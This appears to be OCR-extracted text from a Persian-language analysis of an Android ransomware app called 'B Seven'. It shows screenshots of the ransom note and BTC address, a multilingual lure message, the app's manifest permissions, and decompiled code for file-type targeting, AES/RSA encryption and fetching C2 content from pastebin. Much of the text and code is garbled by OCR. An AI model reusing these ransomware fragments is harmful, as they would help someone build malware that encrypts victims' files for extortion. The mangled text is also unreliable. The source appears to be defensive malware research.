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Blocked by Play Protect

This app can disable your device or threaten to reveal personal information
unless you pay money

Details hd
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B Seven
Do you want to install this application? It will get access
to:

E read your contacts

B3 send and view SMS messages

& this may cost you money
BB modify or delete the contents of your SD card

read the contents of your SD card

CANCEL  INSTALL
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Data will be lost Numbers of The cost of the key
after encrypted files for encryption

72h 0.01762913 BTC
® Document Decryption Operation Guide

@ Useful Information

UserlD:

BTC addr: 16KQjht4

LI L3 sl b LS ey 6l L rhe A5 e edalie B sal 53 oS shailes
oS 5y sla s slaws Tos Lol edd 4 8 5 55 el VY 35 2h ety s 5 o S
S Sl 2520 Sla b a8 s sl SLE s e 00l il s g SLE el
u,u)JT 4 16KQjht4ePZxxGPr3es24VQyMYgROUekFy -» S J 5 a5 4 ol o L CLA s
5,04 pasie (68 awlis 03 S 3515 L 5 65 sel axl e http://www[.]Jwevx[.]xyz/decrypt[.]php

ol 0 CJL} L}’A’JMJJ| éy M‘Jﬂt? JL>_)J u\.iLw Caﬁli_)b b &LZS/J»‘)J?J\S‘J?

NGSU IPCIAR VAL |5

Summary Transactions
Address No. Transactions 0
Hash Total Received 0 BTC
160
Final Balance 0 BTC
Request Payment Donation Button

Transactions

Mo transactions found for this address, it has probably not been used on the network yet
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Address qqa98m38vrtnys3m3j93py592sxhksz2xyfifkck6v
Transactions 0

Total Received 0.00000000 BCH

Total Sent 0.00000000 BCH

Final Balance 0.00000000 BCH
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public static Strim
String url =
try {
String tmp = findValueByKeyFromUrlContent ("Do rl™y ;
if (tmp = nmll || tmp.equals(BuildConfig.FLAVOR)) {

retuorn url;

}

retunrn new String(Base64d.decode (tmp,
} catch (Exception e} {

e.printStackTrace () ;

retuorn url;

%]

Vi

ol 55 1 sl 0L 65 ol st 0l 11l (IS O30 ilises 0L £Y 4 Kbyl oy
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public static String msglistRaw = "{ \"af\":\"Hoe kan hulle jou foto's in hierdie inligting plaas, ek dink ek moet jou vertel,%s\",
\Mam\ "\ TR EFFRFT (LU ontINSF @hT SihdevT £RAR, R AR AIECLLAT FANAN, T\,
N\, LSy Aslmn a5l wiiel ¢ Beshidl 1ds 8 djpe gy peiSan aS o« 33\7,
\"az\":\"Bu tetbigde sskillsrinizi necs yerlssdirs bilsrler, men size demsliyem ki, %s\",
\"be\":\"Ar gHH MODyNe SMAcuile Eames dararpadii § poTemM magaTky, A OyMap, mIrTo MHEe TpaBa crasaues sam, s\,
\"bg\":\"Kax MOTaT Oa NOCTEBAT CHMMKMTE EM B TOBa NpWioEeHWe, MUcHHA, due Tpabea mna BM xa=xa, 3s\",
WEn\ "\ TEEr 0¥ arRETeT W S e T, weE A w W T 38\,
W"bs\":\"Kako mogu staviti svoje fotografije u ovu aplikaciju, mislim da vam moram redi, %s\",
YWrea\":\"Com poden posar les teves fotos en aguesta aplicacid, crec gue us he de dir, =\",
Wres\":\"Jak mohou dat své fotografie do této aplikace,myslim, Ze vim musim Fict, %=\",
Yoy ":\"Sut vy gallant roi eich lluniau yn yr ap hwn, rwy'n credu bod angen i mi ddweud wrthych, %s\",
Yrdal\ "\ "Hvordan kan de s=tte dine billeder i denne app, jeg tror jeg skal fortelle dig, %=\",
\"de\":\"Wie kdnnen sie Ihre Fotos in diese App setzen, ich denke, ich muss Thnen sagen, %s\",
Wel\":\"ldc unmopodv vo Ba&houv TLC QUIOYPUPLies oug oOF ouUTH Tnvepopuoyf, vouii{w 6TL. mDpéme. vox oxc ow, 3s\",
“W"en\":\"How can they put your photos in this app, I think I need to tell you, %s\",
Wreo\":\"Kiel ili povas meti viajn fotojn en &i tiun programon, mi pensas, ke mi devas diri al wvi, %=\",
Wres\ "\ ":Cémo pueden poner sus fotos en esta aplicacidén? Creo gque necesito decirles, =\",
YWMet\":\"Kuidas nad saavad oma fotodesse selle rakenduse panna, ma arvan, et pean teile dtlema, %s\",
YWren\":\"Nola jarri zure argazkiak aplikazio honetan? Nik uste dut esan behar zaitut,3s\",
R T e I L i L L B e
WTEINT:\"Miten he wvoivat laittaa valokuvia tdhdn sovellukseen, mielestdni minun td3ytyy kertoa teille, %s\",
W"£il1\":\"Paano nila mailalagay ang iyong mga larawan sa app na ito, sSa palagay ko kailangan kong sabihin sa iyo, %s\",
WMER\ "\ "Comment peuvent-ils mettre vos photos dans cette application, je pense gue je dois wvous dire, Es\",
YWrEY\ "\ "Hoe kinne se jo foto's yn dizze app sette, ik tink dat ik jo sizze moat, *s\",
YW"gal\":\"Conas is féidir lec do chuid grianghraf a chur san aip seo, silim go gcaithfidh mé a ra leat, %=\",
YWrgd\":\"Ciamar as urrainn dhaibh na dealbhan agad a chur san aplacaid seo, tha mi a ’smaocineachadh gum feum mi innse dhut, %s\",
\"gl\":\"Como poden pofier as tias fotos nesta aplicacidn, creo que tefio que dicirlle, %s\",
SR N T3l s Ao ca o Bl DA afl 0 w3 @l B b wd R el w3 33N,
“"ha\":\"Ta vaya za su sa hotunanka a cikin wannan app, ina ganin ina bukatar in gayamaka, %s\",
Y"haw\":\"Pehea e hiki ai i 13kou ke kau i k3u mau ki‘i ma k&ia polokalamu, mana‘oc wau & ha‘i aku id‘oe, %s\",
AMRANMIATT TS S W W A S W TS T, 9 e ¥ ¥ O ame o F sy 3s\ T,
YW"hr\":\"Kako mogu staviti svoje fotografije u ovu aplikaciju, mislim davam moram reci, %s\",
YWhn\ "\ "Hogyan helyezhetik el a fotdkat ebben az alkalmazasban, azt hiszem, meg kell mondanom, %s4\",
Ny A TPUswbu Gupnn BU npubp wBnwnpbp wpu hwdbpdwsnod, Qupsnod B, Bu wbinp B owubd ahg, s\,
W"ig\":\"Kedu ka ha ga esi tinye foto gi na ngwa a, echere m na m ga-agwa gi, %s\",
W"im\":\"Bagaimana mereka bisa meletakkan foto Anda di aplikasi ini, saya pikir saya perlumemberi tahu &Anda, %s\",
Wris\":\"Hvernig geta peir sett myndirnar binar i pessari app, &g held a8 ég parf a8 segja pér, %s\",
Wit ":\"Come possono mectere le tue foto in guesta app, penso di dovercti dire, %s\",
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Wriw\":\"77 1Z0% T°IF CIND I@IT VI 170 NT¥ETEIR TFD N1ITANA ME D°@T DUE13° on TUH, 33\,

Vv DL ICIESECOTIICHEEO T EE ANGCCHTEST. IEHBELE2L BB BUET. 2o\,

WUIANTINTITE 1187 1¥ 1878T TUR 1UDETW TU& L B8 TPT 1T OHU¥D 1777 1TDUe T olpivg t11, %a3\T,

\"jv\":\"Carane bisa nyelehake foto sampeyan ing aplikasi iki, Aku kudu ngomong sampeyan, %s\",

N"KEN" 1\ "Gy Tpdmpbs Bsmn seamgbe B sFowdor 3zedbods wEEd pockeume 35\",

\"kE\":\"Byn ronmasfara dorocyperrepinisni xamaw xowra Gomamm, men cisre afiTxemM xememi, %s\",

WM, " e e e pheuifiminspnung fendeariyey 38\,

NI\ 1\ s e, gesdneriv & si2Eaug el coudio, we da Swelei s e medids, 3517,

v\ e EA O] Bl AFIE 22 2 QISUTh WOIZE a0t Q0D MELICH n,

Wrey\"i\"Anap Byn eTysEMe BopHua CHMSOME cypeTTep, MeH cunepre umHINKTH afTHN K0EDH, Keper RaHTHn, :s\",
W"1b\":\"Néi kénne si Ar Fotoen an déser App setzen, ech mengen ech muss Iech soen, %3\",

\1oh " mwoncdazaanadasuwiuasqrisuly app Sidwuolo, dsedodidseecliudzusnroy, s\,

\Llt\":\"Kaip jie gali idéti j@suy nuotraukas i 3ia programa, manau, turin jums pasakyti, 3s\",

Wrlv\":\"K& vini var ievietot jdsu fotoattélus 3aja lietotné, es domdju, ka jums jdpazino, %3\",
“"mg\":\"Ahoana no ahafahan'izy ireo mametraka ny sarinac amin'ity app ity, mieritreritra aho fa mila milaza aminao aho, %3\",
W'mi\":\"Me pehea e tu ai o whakaahua ki tenei taupdnga, e whakaaro ana ahau me korero ki a koe, %s\",
\"mk\":\"Kaxo MoXaT ma TM CTaBaT BammMTe doTorpadu Bo oBaa ammmMxauMja,mucnamM mexa Tpefa ma Bu xamam, s\,
AN\ "Eerudad afemean dleegies cadesiatd o eeglesomn it glensomImdse, emanh dleEmigdd comimeart smom @emomgmy, T3\,
W'mn\":\"Tag 3H® annnMrefmHIn X3pXsH 3yparn asy Bomox =3, BM TaH; xansx xepsoTei Ganxa, $=\",

NMme\ "\ A S @ st S E e, A e € A A B s o, 33\,

Y"me\":\"Bagaimana mereka boleh meletakkan gambar anda dalam aplikasi ini, saya fikir saya perlu memberitahu anda, %=\",
W'me\":\"Kif jistghu jpogdu r-ritratti tieghek f£'dan l-app, nahseb li ghandi nghidlek, %s\",

\rmy\ " s\ {0, . 2a\",

\"nb\":\"Hvordan kan de sette bildene dine i denne appen, jeg tror jeg mi fortelledeg, %s\",

Wr'ne\ "\ "R I T O T R TE Wee, AWE W T AAE AR T amew T iE\T,

Y"nl\":\"Hoe kunnen ze jouw foto's in deze app plaatsen,ik denk dat ik het je moet vertellen, %3\",
Wnn\":\"Dei kan korleis din photos pd denne sgknaden, eg trur eg mid fortelja dykk, $s\",

\"pa\" i \"ge e i ke goe st Pt w et oe M s A dd 7 powledzied, %a\"
WIPSVTiNTpal gy 45 pel3 0 oxopaS pT5 o) o8 pEifulal s o pSpals s peliu B g¥pS 4038 gyse 85V,
\"pt\":\"Como eles podem colocar suas fotos neste aplicativo, eu acho que preciso te dizer, %s\",

W'ro\":\"Cum pot s& vd pund fotografiile in aceastd aplicatie, cred cé trebuie sd vd spun, %s\",

\'ru\":\"Kar OHM MOTYT NOMECTMTE EBamM QoTorpaduy B STO NpUNOXEeHMe, A OyMaw, 9T0o 4 OOJXeH ckasaTe sam, Is\",

\"3i\":\ "D Red dindis eBR eugl? anes nddles) enedds, B8 202 &

=28, $3\",

W2\ ":\"Lko mdiu dat svoje fotografie v tejto aplikacii, myslim, %e musim povedat, %=\",

W=1\":\"Kako lahko dajo fotografije v to aplikacijo, mislim, da vam moram povedati, %s\",

WMan\":\"Vanogona sei kuisa mapikicha ako mubasa iri, ndinofunga kuti ndinoda kukuudza, %s\",

WM=o\":\"Sidee ay sawiradooda u gelinkaraan appkan, waxaan u maleynayaa inaan u baahanahay inaan kuu sheego, 3s\",
Wag\":\"5i mund t'i vendosin fotot tuaja né k&té aplikacion,mendoj se duhet t'ju them, %s\",

YWar\":\"Karo MOTY Oa cTaBe cBoje QoTorpaduie ¥y OBY amiaMrauMjy, MUCHMM O2 MOpaM Oa EBaM XameM, 33\",

Wavh":\"Hur kan de sdtta dina foton i den hdr appen, jag tror att jag maste berdcta for dig, %s\",
WMeEwh "\ "Wanawezaje kuweka picha zako katika programu hii, nadhani ninahitaji kukwambia, %s=\",
Wrah iSRS LWETUT  Ine) MeuTSET 8 RISET UsnSUULRISANET eUeuNT) sneuds (LPigULh, BT e RSEnEE Cercio CGouawEl asrm HenersSCGmen, TS\,
WTEEN T N o B e e emsageed® Soe sreswd, Ba fom 380 Bue wasce 2l Ba
A TERY T\ MnRanE T slatnasaaluaiilang leudAadudasuonna 25\,

Arer\":\"Fotodraflarinizil bu uygulamava nasil kovabilirler, size s&ylemem gerektidini distnivorum, 3%s\",
AMak\":\"Ax BOHM MOEYTE posMicTMTMEami dororpadii B uid nporpami, = moyMaw, MeHi norpifso crasaTu BaM, s\",
ANErA TN Sy o Sl 2 ol pma of g LS gm eguy 08w p5) gk ogaf gud ol el agbas o€ T ey 3S\T,
NMuz\":\"Ushbu ilovada sizning suratlaringizni ganday gilib go'yish mumkin, deb o'ylayman,sizga aytsam, s4\",
AP\ T\ "Lam thé nio ho cd thé dit anh cla ban trong ng dung nay, tdi nghi téi cdn néi véi ban, %=\",
\"yo\":\"Bawo niwon se le fi awon foto re sinu apere yvii, Mo ro pe mo nilo lati so fun g, %s\",
\"zu\":\"Bangabeka kanjani izithombe zakho kulolu hlelo lokusebenza, ngicabanga ukuthi ngidinga ukukutshela,

\rzny R ARIREIBE AERIF LT, 25y

e . 5347,

LR

L lazils das prarlgn b oo 48 ool cpl oy OLES O3 3l ol b e o Sl szl i

MLWJJG&‘fASMdL&)‘)‘&‘f&L)M‘)&AL‘:{ cdb}o‘;@&bdb)ut:{)b

private S5tring getM=g({) {

String m=g = E a ¥ E in

String language = Locale.getDefaulc () .getLanguage ()

EtringBuilder sk = new StringBuilder():

sb.append("langus i=s ")

sb.append (language) ;

Log.e{"lucky=seven",

try {
Log.e("luckys=even", Constant.msglist);

JSCNCbject m=glist = new J3CHNCbhbject (Constant.msgList) !
Log.e("luck meglist.coString () ) !

StringBuilder sb2 = new StringBuilder():
=b2.append ("=, ") ;

sb2 . append (mesglist.getS5tring {language) ) ;

return =b2.toString() ;

} catch (Exception &) {
Log.e{"lucky=even",
e.printStackTrace()
retorn m=g;

"%3,how can they put your photo in

sb.toString())

saven®

e.getMes=zage () ) :
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<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission. WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/ >
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SEND_SMS"/ >

<uses-permission android: name="android.permission.INTERNET"/ >

Ol 5ol pon a8 Jled amids o as oMo JIIEL ul (el Gala Wb sad 53 oS ) shailes
& s 5 Saly Jl)l (5L ol pan il Olblie o Sl s sz OT aladls 0555 (25
DA 53 DIRIEL Gl Bl S (mBls 50 4SS e Oly sy a4 padge pl asls 5 o ) 4SS
w5 gt Jll OF bl ales sl lBIL 800 S sl Sl (L ol en

Sy SIPIEL BB SO0 S gl Sl 055 e sl Golpl 555 S 3 ol sen il

C;~u3) .ij;LsA ‘J:r‘ Lﬁ;Lifs O\JJLA erlj DL )Lgé‘}D; g:1)~}~9 4 ){}5‘@:@ g}iLé "uiijj d)ﬂ‘ ¢La5‘ ‘3| o

1l sdalie J.’Lg J‘.’.) J'.’.j’"’éj BE) LS)U‘fj'“) (W o ol u"“;*" L;L&Jib

" ppt", ".pptx",

"owkl", ".pdf", ".dwg
, ".xlsb",

r ".potx"™, ".pot

PNg 5 jPG:JPeg Ly L sla L jslaian 5 CullKe 00 5 i ame Lrar 52ip Ly L sls L
.Jijm:LsaJ L§)|ijjﬁj 9 4:5{;? )‘JB )‘j}‘aip J%iﬁﬂ Q;~uf; )J cCLipJng'\ 0 *ﬂ Jla:; rJg:* L

String ext = getFileExt(file):
if {((ext.equals(".zip") || ext.egquals(".rar")) && file.length() > S2<Z22200) {
retorn false:

}

if ((ext.equals(".Jjpeg") || ext.equals(".Jjpg") || ext.eguals(".png")) && file.length() < 152600} {
return false:!

}

for (String whiteExt : Constant.extlistc) {
if (ext.equals(whiteExt)) {
return true;
}
}

return false;
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4 RSA 0Lzl 5 S 5 ECB Il 3 AES Oslize oty 581 51 e g (6,108 50, .);.J)é);)bé\cl{ ol

.C;w»‘aDJS’aJL£LA|L5mSJ5 Sy e

[ TS S s B . R T, Y S U S R

b
Lo B3

o oeom

e

Hpublic clas=s R3L {

backage net.south.seven.net.south.seven.utils;

import jawvax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec:

pukblic clasz AES {
E} puklic =static byte[] Encrypt(byte[] bs, String key) throws Exception {
SecretKeySpec skeySpec = new Secret{ey5pec:key getByces ("ucf-8"), "RES");
Cipher cipher = Cipher. getIﬁstaﬁceh”
cipher.init (1, skevySpec):
return cipher.doFinal (bs) ;

= public static byte[] Decrypt{bvte[] b=, 5tring key) throws Exception {
SecretKeySpec skeySpec = new Secret(ey5pectkey getBytes (™

Cipher cipher = Cipher.getInstance (": fPEC55Pa

cipher.init (2, skevy3pec);

return cipher.doFinal (bs) ;

"AES™) ;

int DEFAULT BUFFERSIZE =
tIDEFAULT KEY S5IZE
1 byte[] DEFAULT SELIT
1 S5tring RSA = “ﬂ*—“:

1 StrinngRﬁNSFORHATIDN =

public =static byte[] encryptByPublicEey(byte[] data, byte[] publicKey) throws Exception {
PublicKEey pubKey = EeyFactory.getInstance (R5A) .generatePublic(new X50%EncodedEeySpec(publicEey))
Cipher cp = Cipher.getInstance (TRANSFORMATION)
cp.init(l, pubKey):
return cp.doFinal (data) ;

pukblic static
pukblic static
public =static
pukblic static
public =static

¥

puklic static byte[] decryptByPrivateKey(byte[] encrypted, byvte[] privateKey) throws Exception {
PrivateEey keyPrivate = KeyFactory.getInstance (RS5R).generatePrivate (new PEC58EncodedEeySpec(privateEey))
Cipher cp = Cipher.getInstance (TRANSFORMATION) ;
cp.init({2, keyPrivate);
return cp.doFinal (encrypted) ;

53 AES s S b s ol A5 S s 4 s BB Il S Sl s nl w18 sy B

VoY o as | oges AIS i S RSA (S a5 s L g 0 (5018 5, ECB >

LLQL}J"b &L&S/Jﬁ) uw‘)bT J:.JQJ ol ealaul LSLAU.»‘)JT ji'.'.b )‘})ﬂ.l.:M 9 C&C B w‘):T L;'L.'.)L' LS‘J"

pastebin.com colucs O, ws e r}.-l.@.d S JpasS U,UJ B ,\p\cl.g Ll sl
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public woid run() {
try {
Cansta.ntl C2Content = Utils.getUrlContent("https:/ pastebin.com/
Constant.online = true;
} catch (Exception e) {
e.printStackTrace () ;
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